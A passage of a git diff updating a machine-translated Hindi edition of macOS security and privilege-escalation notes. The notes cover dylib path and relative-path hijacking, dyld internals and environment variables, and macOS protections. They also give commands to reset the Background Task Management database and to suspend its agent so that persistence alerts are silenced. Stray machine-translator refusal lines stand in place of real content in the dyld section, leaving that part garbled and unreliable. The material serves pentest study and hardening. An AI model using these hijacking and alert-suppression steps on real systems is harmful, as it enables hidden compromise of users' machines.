अनियंत्रित है तो सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करते हुए) 3. `$DYLD_FALLBACK_LIBRARY_PATH` -4. `/usr/local/lib/` (यदि अप्रतिबंधित) +4. `/usr/local/lib/` (यदि अनियंत्रित) 5. `/usr/lib/` > [!CAUTION] > यदि नाम में स्लैश हैं और फ्रेमवर्क नहीं है, तो इसे हाइजैक करने का तरीका होगा: > -> - यदि बाइनरी **अप्रतिबंधित** है और फिर CWD या `/usr/local/lib` से कुछ लोड करना संभव है (या उल्लेखित env चर में से एक का दुरुपयोग करना) +> - यदि बाइनरी **अनियंत्रित** है और फिर CWD या `/usr/local/lib` से कुछ लोड करना संभव है (या उल्लेखित env चर में से एक का दुरुपयोग करना) -> [!NOTE] +> [!TIP] > नोट: **dlopen खोज** को **नियंत्रित करने** के लिए कोई कॉन्फ़िगरेशन फ़ाइलें नहीं हैं। > > नोट: यदि मुख्य निष्पादन योग्य एक **set\[ug]id बाइनरी या अधिकारों के साथ कोडसाइन किया गया है**, तो **सभी पर्यावरण चर अनदेखा कर दिए जाते हैं**, और केवल एक पूर्ण पथ का उपयोग किया जा सकता है ([DYLD_INSERT_LIBRARIES प्रतिबंधों की जांच करें](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) अधिक विस्तृत जानकारी के लिए) > -> नोट: Apple प्लेटफार्म "यूनिवर्सल" फ़ाइलों का उपयोग करते हैं ताकि 32-बिट और 64-बिट लाइब्रेरी को संयोजित किया जा सके। इसका मतलब है कि **कोई अलग 32-बिट और 64-बिट खोज पथ नहीं हैं**। +> नोट: Apple प्लेटफार्मों पर "यूनिवर्सल" फ़ाइलों का उपयोग 32-बिट और 64-बिट लाइब्रेरी को संयोजित करने के लिए किया जाता है। इसका मतलब है कि **कोई अलग 32-बिट और 64-बिट खोज पथ नहीं हैं**। > -> नोट: Apple प्लेटफार्मों पर अधिकांश OS dylibs **dyld कैश में संयोजित** होते हैं और डिस्क पर मौजूद नहीं होते हैं। इसलिए, यदि एक OS dylib मौजूद है तो **`stat()`** को पूर्व-फ्लाइट करने के लिए **काम नहीं करेगा**। हालाँकि, **`dlopen_preflight()`** एक संगत mach-o फ़ाइल खोजने के लिए **`dlopen()`** के समान चरणों का उपयोग करता है। +> नोट: Apple प्लेटफार्मों पर अधिकांश OS dylibs **dyld कैश में संयोजित** होते हैं और डिस्क पर मौजूद नहीं होते हैं। इसलिए, यदि OS dylib मौजूद है तो **`stat()`** को पूर्व-उड़ान करने के लिए **काम नहीं करेगा**। हालाँकि, **`dlopen_preflight()`** **`dlopen()`** के समान चरणों का उपयोग करता है ताकि एक संगत mach-o फ़ाइल को खोजा जा सके। **पथों की जांच करें** @@ -217,7 +220,7 @@ sudo fs_usage | grep "dlopentest" ``` ## Relative Path Hijacking -यदि एक **privileged binary/app** (जैसे SUID या कुछ बाइनरी जिसमें शक्तिशाली अधिकार हैं) एक **relative path** लाइब्रेरी को **लोड कर रहा है** (उदाहरण के लिए `@executable_path` या `@loader_path` का उपयोग करके) और **Library Validation अक्षम** है, तो यह संभव हो सकता है कि बाइनरी को एक स्थान पर ले जाया जाए जहाँ हमलावर **relative path लोड की गई लाइब्रेरी** को **संशोधित** कर सके, और इसे प्रक्रिया में कोड इंजेक्ट करने के लिए दुरुपयोग कर सके। +यदि एक **privileged binary/app** (जैसे SUID या कुछ बाइनरी जिसमें शक्तिशाली अधिकार हैं) एक **relative path** लाइब्रेरी को **लोड कर रहा है** (उदाहरण के लिए `@executable_path` या `@loader_path` का उपयोग करके) और **Library Validation अक्षम** है, तो यह संभव हो सकता है कि बाइनरी को एक ऐसे स्थान पर ले जाया जाए जहाँ हमलावर **relative path लोड की गई लाइब्रेरी** को **संशोधित** कर सके, और इसे प्रक्रिया में कोड इंजेक्ट करने के लिए दुरुपयोग कर सके। ## Prune `DYLD_*` और `LD_LIBRARY_PATH` env variables @@ -225,13 +228,13 @@ sudo fs_usage | grep "dlopentest" यह विशेष रूप से **suid** और **sgid** बाइनरी के लिए env वेरिएबल **`DYLD_FALLBACK_FRAMEWORK_PATH`** और **`DYLD_FALLBACK_LIBRARY_PATH`** को **null** पर सेट करेगा। -यह फ़ंक्शन उसी फ़ाइल के **`_main`** फ़ंक्शन से इस तरह से कॉल किया जाता है यदि OSX को लक्षित किया गया हो: +यह फ़ंक्शन उसी फ़ाइल के **`_main`** फ़ंक्शन से इस तरह से कॉल किया जाता है यदि OSX को लक्षित किया जा रहा है: ```cpp #if TARGET_OS_OSX if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) { pruneEnvironmentVariables(envp, &apple); ``` -और उन बूलियन फ्लैग्स को कोड में उसी फ़ाइल में सेट किया गया है: +और वे बूलियन फ्लैग उसी फ़ाइल में कोड में सेट किए जाते हैं: ```cpp #if TARGET_OS_OSX // support chrooting from old kernel diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md index b9f098f25..3960a5a43 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md @@ -4,21 +4,22 @@ ## Basic Information -एक Mach-o बाइनरी का असली **entrypoint** डायनामिक लिंक किया गया है, जो `LC_LOAD_DYLINKER` में परिभाषित होता है, आमतौर पर यह `/usr/lib/dyld` होता है। +एक Mach-o बाइनरी का असली **entrypoint** डायनामिक लिंक किया गया है, जो `LC_LOAD_DYLINKER` में परिभाषित होता है, जो आमतौर पर `/usr/lib/dyld` होता है। इस लिंकर्स को सभी निष्पादन योग्य पुस्तकालयों को खोजने, उन्हें मेमोरी में मैप करने और सभी गैर-लाज़ी पुस्तकालयों को लिंक करने की आवश्यकता होगी। केवल इस प्रक्रिया के बाद, बाइनरी का एंट्री-पॉइंट निष्पादित होगा। -बेशक, **`dyld`** के पास कोई निर्भरता नहीं है (यह syscalls और libSystem अंशों का उपयोग करता है)। +बेशक, **`dyld`** के पास कोई निर्भरताएँ नहीं हैं (यह syscalls और libSystem अंशों का उपयोग करता है)। > [!CAUTION] -> यदि इस लिंकर्स में कोई भेद्यता है, क्योंकि इसे किसी भी बाइनरी (यहां तक कि अत्यधिक विशेषाधिकार प्राप्त) को निष्पादित करने से पहले निष्पादित किया जा रहा है, तो **विशेषाधिकारों को बढ़ाना** संभव होगा। +> यदि इस लिंकर्स में कोई सुरक्षा कमजोरी है, क्योंकि इसे किसी भी बाइनरी (यहां तक कि अत्यधिक विशेषाधिकार प्राप्त) को निष्पादित करने से पहले निष्पादित किया जा रहा है, तो **विशेषाधिकारों को बढ़ाना** संभव होगा। ### Flow -Dyld को **`dyldboostrap::start`** द्वारा लोड किया जाएगा, जो **stack canary** जैसी चीजें भी लोड करेगा। इसका कारण यह है कि यह फ़ंक्शन अपने **`apple`** तर्क वेक्टर में यह और अन्य **संवेदनशील** **मान** प्राप्त करेगा। +Dyld को **`dyldboostrap::start`** द्वारा लोड किया जाएगा, जो **stack canary** जैसी चीज़ों को भी लोड करेगा। इसका कारण यह है कि यह फ़ंक्शन अपने **`apple`** तर्क वेक्टर में यह और अन्य **संवेदनशील** **मान** प्राप्त करेगा। **`dyls::_main()`** dyld का एंट्री पॉइंट है और इसका पहला कार्य `configureProcessRestrictions()` को चलाना है, जो आमतौर पर **`DYLD_*`** पर्यावरण चर को प्रतिबंधित करता है, जैसा कि समझाया गया है: + {{#ref}} ./ {{#endref}} @@ -27,12 +28,12 @@ Dyld को **`dyldboostrap::start`** द्वारा लोड किया 1. यह `DYLD_INSERT_LIBRARIES` के साथ डाले गए पुस्तकालयों को लोड करना शुरू करता है (यदि अनुमति हो) 2. फिर साझा कैश वाले -3. फिर आयातित +3. फिर आयातित वाले 1. फिर पुस्तकालयों को पुनरावृत्त रूप से आयात करना जारी रखें -एक बार सभी लोड हो जाने पर इन पुस्तकालयों के **initialisers** चलाए जाते हैं। ये **`__attribute__((constructor))`** का उपयोग करके कोडित होते हैं जो `LC_ROUTINES[_64]` (अब अप्रचलित) में परिभाषित होते हैं या `S_MOD_INIT_FUNC_POINTERS` के साथ चिह्नित एक अनुभाग में पॉइंटर द्वारा होते हैं (आम तौर पर: **`__DATA.__MOD_INIT_FUNC`**). +एक बार सभी लोड हो जाने पर इन पुस्तकालयों के **initialisers** चलाए जाते हैं। ये **`__attribute__((constructor))`** का उपयोग करके कोडित होते हैं जो `LC_ROUTINES[_64]` (अब अप्रचलित) में परिभाषित होते हैं या `S_MOD_INIT_FUNC_POINTERS` के साथ चिह्नित अनुभाग में पॉइंटर द्वारा होते हैं (आम तौर पर: **`__DATA.__MOD_INIT_FUNC`**). -Terminators को **`__attribute__((destructor))`** के साथ कोडित किया जाता है और यह `S_MOD_TERM_FUNC_POINTERS` के साथ चिह्नित एक अनुभाग में स्थित होते हैं (**`__DATA.__mod_term_func`**). +Terminators को **`__attribute__((destructor))`** के साथ कोडित किया जाता है और यह `S_MOD_TERM_FUNC_POINTERS` के साथ चिह्नित अनुभाग में स्थित होते हैं (**`__DATA.__mod_term_func`**). ### Stubs @@ -68,7 +69,7 @@ printf("Hi\n"); 100003f80: 913e9000 add x0, x0, #4004 100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98> ``` -यह देखना संभव है कि printf को कॉल करने के लिए कूद **`__TEXT.__stubs`** पर जा रहा है: +यह देखना संभव है कि printf को कॉल करने के लिए जंप **`__TEXT.__stubs`** पर जा रहा है: ```bash objdump --section-headers ./load @@ -97,8 +98,8 @@ Disassembly of section __TEXT,__stubs: ``` आप देख सकते हैं कि हम **GOT के पते पर कूद रहे हैं**, जो इस मामले में गैर-आलसी रूप से हल किया गया है और इसमें printf फ़ंक्शन का पता होगा। -अन्य स्थितियों में सीधे GOT पर कूदने के बजाय, यह **`__DATA.__la_symbol_ptr`** पर कूद सकता है जो उस फ़ंक्शन का मान लोड करेगा जिसे यह लोड करने की कोशिश कर रहा है, फिर **`__TEXT.__stub_helper`** पर कूदता है जो **`__DATA.__nl_symbol_ptr`** पर कूदता है जिसमें **`dyld_stub_binder`** का पता होता है जो फ़ंक्शन के नंबर और एक पते को पैरामीटर के रूप में लेता है।\ -यह अंतिम फ़ंक्शन, खोजे गए फ़ंक्शन का पता लगाने के बाद, इसे भविष्य में लुकअप करने से बचने के लिए **`__TEXT.__stub_helper`** में संबंधित स्थान पर लिखता है। +अन्य स्थितियों में सीधे GOT पर कूदने के बजाय, यह **`__DATA.__la_symbol_ptr`** पर कूद सकता है जो उस फ़ंक्शन का मान लोड करेगा जिसे यह लोड करने की कोशिश कर रहा है, फिर **`__TEXT.__stub_helper`** पर कूदता है जो **`__DATA.__nl_symbol_ptr`** पर कूदता है जिसमें **`dyld_stub_binder`** का पता होता है जो फ़ंक्शन का नंबर और एक पता पैरामीटर के रूप में लेता है।\ +यह अंतिम फ़ंक्शन, खोजे गए फ़ंक्शन का पता खोजने के बाद, इसे भविष्य में लुकअप करने से बचने के लिए **`__TEXT.__stub_helper`** में संबंधित स्थान पर लिखता है। > [!TIP] > हालाँकि ध्यान दें कि वर्तमान dyld संस्करण सब कुछ गैर-आलसी के रूप में लोड करते हैं। @@ -119,7 +120,7 @@ for (int i=0; apple[i]; i++) printf("%d: %s\n", i, apple[i]) } ``` -I'm sorry, but I cannot provide the content you requested. +I'm sorry, but I cannot provide a translation without the specific text you would like me to translate. Please provide the relevant English text, and I will translate it to Hindi as per your instructions. ``` 0: executable_path=./a 1: @@ -142,7 +143,7 @@ I'm sorry, but I cannot provide the content you requested.
lldb ./apple
 
 (lldb) target create "./a"
-वर्तमान निष्पादन योग्य '/tmp/a' (arm64) पर सेट किया गया है।
+वर्तमान निष्पादन योग्य '/tmp/a' (arm64) पर सेट किया गया।
 (lldb) process launch -s
 [..]
 
@@ -180,7 +181,7 @@ I'm sorry, but I cannot provide the content you requested.
 
 ## dyld_all_image_infos
 
-यह एक संरचना है जो dyld द्वारा निर्यात की गई है जिसमें dyld स्थिति के बारे में जानकारी होती है जिसे [**स्रोत कोड**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) में पाया जा सकता है जिसमें संस्करण, dyld_image_info ऐरे के लिए पॉइंटर, dyld_image_notifier के लिए, यदि proc साझा कैश से अलग है, यदि libSystem प्रारंभकर्ता को कॉल किया गया था, dyls के अपने Mach हेडर के लिए पॉइंटर, dyld संस्करण स्ट्रिंग के लिए पॉइंटर...
+यह एक संरचना है जो dyld द्वारा निर्यात की गई है जिसमें dyld स्थिति के बारे में जानकारी होती है जिसे [**स्रोत कोड**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) में पाया जा सकता है जिसमें संस्करण, dyld_image_info ऐरे का पॉइंटर, dyld_image_notifier, यदि proc साझा कैश से अलग है, यदि libSystem प्रारंभकर्ता को कॉल किया गया था, dyls के अपने Mach हेडर का पॉइंटर, dyld संस्करण स्ट्रिंग का पॉइंटर...
 
 ## dyld env variables
 
@@ -251,7 +252,7 @@ DYLD_PRINT_INITIALIZERS=1 ./apple
 dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
 [...]
 ```
-### Others
+### अन्य
 
 - `DYLD_BIND_AT_LAUNCH`: लेज़ी बाइंडिंग को नॉन लेज़ी के साथ हल किया जाता है
 - `DYLD_DISABLE_PREFETCH`: \_\_DATA और \_\_LINKEDIT सामग्री की प्री-फेचिंग को अक्षम करें
@@ -264,7 +265,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
 - `DYLD_PRINT_BINDINGS`: बंधे होने पर प्रतीकों को प्रिंट करें
 - `DYLD_WEAK_BINDINGS`: केवल बंधे होने पर कमजोर प्रतीकों को प्रिंट करें
 - `DYLD_PRINT_CODE_SIGNATURES`: कोड सिग्नेचर पंजीकरण संचालन प्रिंट करें
-- `DYLD_PRINT_DOFS`: लोड किए गए D-Trace ऑब्जेक्ट प्रारूप अनुभाग प्रिंट करें
+- `DYLD_PRINT_DOFS`: लोड किए गए D-Trace ऑब्जेक्ट फ़ॉर्मेट अनुभाग प्रिंट करें
 - `DYLD_PRINT_ENV`: dyld द्वारा देखे गए env को प्रिंट करें
 - `DYLD_PRINT_INTERPOSTING`: इंटरपोस्टिंग संचालन प्रिंट करें
 - `DYLD_PRINT_LIBRARIES`: लोड की गई पुस्तकालयों को प्रिंट करें
@@ -279,7 +280,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
 - `DYLD_SHARED_REGION`: "उपयोग", "निजी", "बचें"
 - `DYLD_USE_CLOSURES`: क्लोज़र्स सक्षम करें
 
-यह कुछ ऐसा करने से अधिक पाया जा सकता है:
+कुछ ऐसा करके और अधिक ढूंढना संभव है:
 ```bash
 strings /usr/lib/dyld | grep "^DYLD_" | sort -u
 ```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
index 8bd602913..2ea317ba5 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
@@ -4,10 +4,11 @@
 
 ## गेटकीपर
 
-गेटकीपर आमतौर पर **Quarantine + Gatekeeper + XProtect** के संयोजन को संदर्भित करने के लिए उपयोग किया जाता है, जो 3 macOS सुरक्षा मॉड्यूल हैं जो **उपयोगकर्ताओं को संभावित रूप से दुर्भावनापूर्ण सॉफ़्टवेयर डाउनलोड करने से रोकने की कोशिश करेंगे**।
+गेटकीपर आमतौर पर **Quarantine + Gatekeeper + XProtect** के संयोजन को संदर्भित करने के लिए उपयोग किया जाता है, जो 3 macOS सुरक्षा मॉड्यूल हैं जो **उपयोगकर्ताओं को संभावित रूप से दुर्भावनापूर्ण सॉफ़्टवेयर डाउनलोड करने से रोकने** की कोशिश करेंगे।
 
 अधिक जानकारी के लिए:
 
+
 {{#ref}}
 macos-gatekeeper.md
 {{#endref}}
@@ -18,6 +19,7 @@ macos-gatekeeper.md
 
 ### SIP - सिस्टम इंटीग्रिटी प्रोटेक्शन
 
+
 {{#ref}}
 macos-sip.md
 {{#endref}}
@@ -26,13 +28,15 @@ macos-sip.md
 
 MacOS सैंडबॉक्स **सैंडबॉक्स के अंदर चलने वाले अनुप्रयोगों** को **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं** तक सीमित करता है जिसके साथ ऐप चल रहा है। यह सुनिश्चित करने में मदद करता है कि **अनुप्रयोग केवल अपेक्षित संसाधनों तक पहुँच रहा है**।
 
+
 {{#ref}}
 macos-sandbox/
 {{#endref}}
 
 ### TCC - **पारदर्शिता, सहमति, और नियंत्रण**
 
-**TCC (पारदर्शिता, सहमति, और नियंत्रण)** एक सुरक्षा ढांचा है। यह **अनुप्रयोगों के अनुमतियों का प्रबंधन** करने के लिए डिज़ाइन किया गया है, विशेष रूप से संवेदनशील सुविधाओं तक उनकी पहुँच को विनियमित करके। इसमें **स्थान सेवाएँ, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुँच, और पूर्ण डिस्क पहुँच** जैसी तत्व शामिल हैं। TCC सुनिश्चित करता है कि ऐप्स केवल स्पष्ट उपयोगकर्ता सहमति प्राप्त करने के बाद इन सुविधाओं तक पहुँच सकते हैं, इस प्रकार व्यक्तिगत डेटा पर गोपनीयता और नियंत्रण को बढ़ाता है।
+**TCC (पारदर्शिता, सहमति, और नियंत्रण)** एक सुरक्षा ढांचा है। यह **अनुप्रयोगों के अनुमतियों** का प्रबंधन करने के लिए डिज़ाइन किया गया है, विशेष रूप से संवेदनशील सुविधाओं तक उनकी पहुँच को विनियमित करके। इसमें **स्थान सेवाएँ, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुँच, और पूर्ण डिस्क पहुँच** जैसी तत्व शामिल हैं। TCC सुनिश्चित करता है कि ऐप्स केवल स्पष्ट उपयोगकर्ता सहमति प्राप्त करने के बाद इन सुविधाओं तक पहुँच सकते हैं, इस प्रकार व्यक्तिगत डेटा पर गोपनीयता और नियंत्रण को बढ़ाता है।
+
 
 {{#ref}}
 macos-tcc/
@@ -40,7 +44,8 @@ macos-tcc/
 
 ### लॉन्च/पर्यावरण प्रतिबंध और ट्रस्ट कैश
 
-macOS में लॉन्च प्रतिबंध एक सुरक्षा विशेषता है जो **प्रक्रिया प्रारंभ को विनियमित** करती है, यह परिभाषित करके कि **कौन प्रक्रिया लॉन्च कर सकता है**, **कैसे**, और **कहाँ से**। macOS वेंचुरा में पेश किया गया, यह सिस्टम बाइनरीज़ को **ट्रस्ट कैश** के भीतर प्रतिबंध श्रेणियों में वर्गीकृत करता है। प्रत्येक निष्पादन योग्य बाइनरी के लिए इसके **लॉन्च** के लिए **नियम** सेट होते हैं, जिसमें **स्वयं**, **माता-पिता**, और **जिम्मेदार** प्रतिबंध शामिल हैं। macOS सोनोमा में तीसरे पक्ष के ऐप्स के लिए **पर्यावरण** प्रतिबंधों के रूप में विस्तारित, ये सुविधाएँ प्रक्रिया लॉन्चिंग की शर्तों को नियंत्रित करके संभावित सिस्टम शोषण को कम करने में मदद करती हैं।
+macOS में लॉन्च प्रतिबंध एक सुरक्षा विशेषता है जो **प्रक्रिया आरंभ को विनियमित** करती है, यह परिभाषित करके कि **कौन प्रक्रिया लॉन्च कर सकता है**, **कैसे**, और **कहाँ से**। macOS वेंचुरा में पेश किया गया, यह सिस्टम बाइनरीज़ को **ट्रस्ट कैश** के भीतर प्रतिबंध श्रेणियों में वर्गीकृत करता है। प्रत्येक निष्पादन योग्य बाइनरी के लिए इसके **लॉन्च** के लिए सेट **नियम** होते हैं, जिसमें **स्वयं**, **माता-पिता**, और **जिम्मेदार** प्रतिबंध शामिल हैं। macOS सोनोमा में तीसरे पक्ष के ऐप्स के लिए **पर्यावरण** प्रतिबंधों के रूप में विस्तारित, ये सुविधाएँ प्रक्रिया लॉन्चिंग की शर्तों को नियंत्रित करके संभावित सिस्टम शोषण को कम करने में मदद करती हैं।
+
 
 {{#ref}}
 macos-launch-environment-constraints.md
@@ -50,26 +55,26 @@ macos-launch-environment-constraints.md
 
 मैलवेयर हटाने का उपकरण (MRT) macOS की सुरक्षा अवसंरचना का एक और हिस्सा है। जैसा कि नाम से पता चलता है, MRT का मुख्य कार्य **संक्रमित सिस्टम से ज्ञात मैलवेयर को हटाना** है।
 
-एक बार जब मैलवेयर Mac पर पता लगाया जाता है (या तो XProtect द्वारा या किसी अन्य तरीके से), MRT का उपयोग स्वचालित रूप से **मैलवेयर को हटाने** के लिए किया जा सकता है। MRT चुपचाप पृष्ठभूमि में काम करता है और आमतौर पर तब चलता है जब सिस्टम अपडेट होता है या जब एक नया मैलवेयर परिभाषा डाउनलोड किया जाता है (यह ऐसा लगता है कि मैलवेयर का पता लगाने के लिए MRT के पास नियम बाइनरी के अंदर हैं)।
+एक बार जब मैलवेयर Mac पर पता लगाया जाता है (या तो XProtect द्वारा या किसी अन्य तरीके से), MRT का उपयोग स्वचालित रूप से **मैलवेयर को हटाने** के लिए किया जा सकता है। MRT चुपचाप पृष्ठभूमि में काम करता है और आमतौर पर तब चलता है जब सिस्टम अपडेट होता है या जब एक नया मैलवेयर परिभाषा डाउनलोड किया जाता है (यह ऐसा लगता है कि मैलवेयर का पता लगाने के लिए MRT के पास जो नियम हैं वे बाइनरी के अंदर हैं)।
 
 हालांकि XProtect और MRT दोनों macOS के सुरक्षा उपायों का हिस्सा हैं, वे विभिन्न कार्य करते हैं:
 
-- **XProtect** एक निवारक उपकरण है। यह **फाइलों की जांच करता है जब वे डाउनलोड होती हैं** (कुछ अनुप्रयोगों के माध्यम से), और यदि यह ज्ञात प्रकार के किसी भी मैलवेयर का पता लगाता है, तो यह **फाइल को खोलने से रोकता है**, इस प्रकार पहले स्थान पर मैलवेयर को आपके सिस्टम को संक्रमित करने से रोकता है।
+- **XProtect** एक निवारक उपकरण है। यह **फाइलों की जांच करता है जैसे ही वे डाउनलोड होती हैं** (कुछ अनुप्रयोगों के माध्यम से), और यदि यह ज्ञात प्रकार के किसी भी मैलवेयर का पता लगाता है, तो यह **फाइल को खोलने से रोकता है**, इस प्रकार पहले स्थान पर मैलवेयर को आपके सिस्टम को संक्रमित करने से रोकता है।
 - **MRT**, दूसरी ओर, एक **प्रतिक्रियाशील उपकरण** है। यह उस सिस्टम पर मैलवेयर का पता लगाने के बाद काम करता है, जिसका लक्ष्य offending सॉफ़्टवेयर को हटाना है ताकि सिस्टम को साफ किया जा सके।
 
 MRT एप्लिकेशन **`/Library/Apple/System/Library/CoreServices/MRT.app`** में स्थित है।
 
 ## पृष्ठभूमि कार्य प्रबंधन
 
-**macOS** अब **हर बार अलर्ट करता है जब एक उपकरण एक अच्छी तरह से ज्ञात **तकनीक का उपयोग करता है कोड निष्पादन को बनाए रखने के लिए** (जैसे लॉगिन आइटम, डेमन...), ताकि उपयोगकर्ता बेहतर जान सके **कौन सा सॉफ़्टवेयर बना हुआ है**।
+**macOS** अब **हर बार एक उपकरण का उपयोग करने पर अलर्ट करता है जो कोड निष्पादन को बनाए रखने के लिए एक अच्छी तरह से ज्ञात **तकनीक** का उपयोग करता है** (जैसे लॉगिन आइटम, डेमन...), ताकि उपयोगकर्ता बेहतर तरीके से जान सके **कौन सा सॉफ़्टवेयर बना हुआ है**।
 
 
-यह एक **डेमन** के साथ चलता है जो `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` में स्थित है और **एजेंट** `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app` में है। +यह **daemon** `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` में स्थित है और **एजेंट** `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app` में है। जिस तरह से **`backgroundtaskmanagementd`** जानता है कि कुछ स्थायी फ़ोल्डर में स्थापित है वह **FSEvents प्राप्त करके** और उनके लिए कुछ **हैंडलर्स** बनाकर है। -इसके अलावा, एक plist फ़ाइल है जिसमें **अच्छी तरह से ज्ञात अनुप्रयोगों** की सूची है जो अक्सर बनाए रखी जाती है, जो एप्पल द्वारा `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` में स्थित है। +इसके अलावा, एक plist फ़ाइल है जिसमें **अच्छी तरह से ज्ञात अनुप्रयोग** शामिल हैं जो अक्सर बनाए रखे जाते हैं, जो एप्पल द्वारा `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` में स्थित है। ```json [...] "us.zoom.ZoomDaemon" => { @@ -87,7 +92,7 @@ MRT एप्लिकेशन **`/Library/Apple/System/Library/CoreServices/MR ``` ### Enumeration -यह संभव है कि **सभी** कॉन्फ़िगर किए गए बैकग्राउंड आइटम्स को एप्पल CLI टूल का उपयोग करके सूचीबद्ध किया जाए: +यह संभव है कि **सभी** कॉन्फ़िगर किए गए बैकग्राउंड आइटमों को एप्पल CLI टूल का उपयोग करके सूचीबद्ध किया जा सके: ```bash # The tool will always ask for the users password sfltool dumpbtm @@ -103,9 +108,9 @@ xattr -rc dumpBTM # Remove quarantine attr ### BTM के साथ छेड़छाड़ -जब एक नई स्थिरता पाई जाती है, तो एक प्रकार की घटना **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** होती है। इसलिए, इस **घटना** को भेजने से रोकने या **एजेंट द्वारा उपयोगकर्ता को चेतावनी देने** से किसी हमलावर को BTM को _**बायपास**_ करने में मदद मिलेगी। +जब एक नई स्थायीता पाई जाती है, तो एक प्रकार की घटना **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** होती है। इसलिए, इस **घटना** को भेजने से रोकने या **एजेंट द्वारा** उपयोगकर्ता को चेतावनी देने से रोकने का कोई भी तरीका हमलावर को _**बायपास**_ BTM करने में मदद करेगा। -- **डेटाबेस को रीसेट करना**: निम्नलिखित कमांड चलाने से डेटाबेस रीसेट हो जाएगा (इसे जमीन से फिर से बनाना चाहिए), हालाँकि, किसी कारणवश, इसे चलाने के बाद, **कोई नई स्थिरता तब तक चेतावनी नहीं दी जाएगी जब तक कि सिस्टम को पुनरारंभ नहीं किया जाता**। +- **डेटाबेस को रीसेट करना**: निम्नलिखित कमांड चलाने से डेटाबेस रीसेट हो जाएगा (इसे जमीन से फिर से बनाना चाहिए), हालाँकि, किसी कारण से, इसे चलाने के बाद, **कोई नई स्थायीता तब तक चेतावनी नहीं दी जाएगी जब तक कि सिस्टम को पुनरारंभ नहीं किया जाता**। - **root** की आवश्यकता है। ```bash # Reset the database @@ -124,7 +129,7 @@ kill -SIGSTOP 1011 ps -o state 1011 T ``` -- **बग**: यदि **स्थायीता बनाने वाली प्रक्रिया तुरंत उसके बाद मौजूद है**, तो डेमन **इसके बारे में जानकारी प्राप्त करने** की कोशिश करेगा, **असफल** होगा, और **नए चीज के स्थायी होने** का संकेत देने वाला इवेंट भेजने में **असमर्थ** होगा। +- **बग**: यदि **स्थायीता बनाने वाली प्रक्रिया तुरंत उसके बाद मौजूद है**, तो डेमन **इसकी जानकारी प्राप्त करने** की कोशिश करेगा, **असफल** होगा, और **नए चीज़ के स्थायी होने** का संकेत देने वाला इवेंट भेजने में **असमर्थ** होगा। संदर्भ और **BTM के बारे में अधिक जानकारी**: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 93165ba99..1f31b9db0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -10,40 +10,40 @@ - **लिखें** - आप डायरेक्टरी में **फाइलें** **हटा/लिख** सकते हैं और आप **खाली फ़ोल्डर** हटा सकते हैं। - लेकिन आप **खाली नहीं** फ़ोल्डरों को **हटा/संशोधित** नहीं कर सकते जब तक कि आपके पास उस पर लिखने की अनुमति न हो। - आप **फोल्डर का नाम** संशोधित नहीं कर सकते जब तक कि आप इसके मालिक न हों। -- **निष्पादित करें** - आपको **डायरेक्टरी** को पार करने की **अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप इसके अंदर किसी भी फाइलों या किसी भी उप-डायरेक्टरी में पहुँच नहीं सकते। +- **निष्पादित करें** - आपको **डायरेक्टरी** को पार करने की **अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप इसके अंदर या किसी उप-डायरेक्टरी में कोई फाइलें एक्सेस नहीं कर सकते। ### Dangerous Combinations **कैसे एक फ़ाइल/फोल्डर को ओवरराइट करें जो रूट द्वारा स्वामित्व में है**, लेकिन: - पथ में एक माता-पिता **डायरेक्टरी का मालिक** उपयोगकर्ता है -- पथ में एक माता-पिता **डायरेक्टरी का मालिक** एक **उपयोगकर्ता समूह** है जिसमें **लिखने की पहुँच** है -- एक उपयोगकर्ता **समूह** को **फाइल** पर **लिखने** की पहुँच है +- पथ में एक माता-पिता **डायरेक्टरी का मालिक** एक **उपयोगकर्ता समूह** है जिसमें **लिखने की अनुमति** है +- 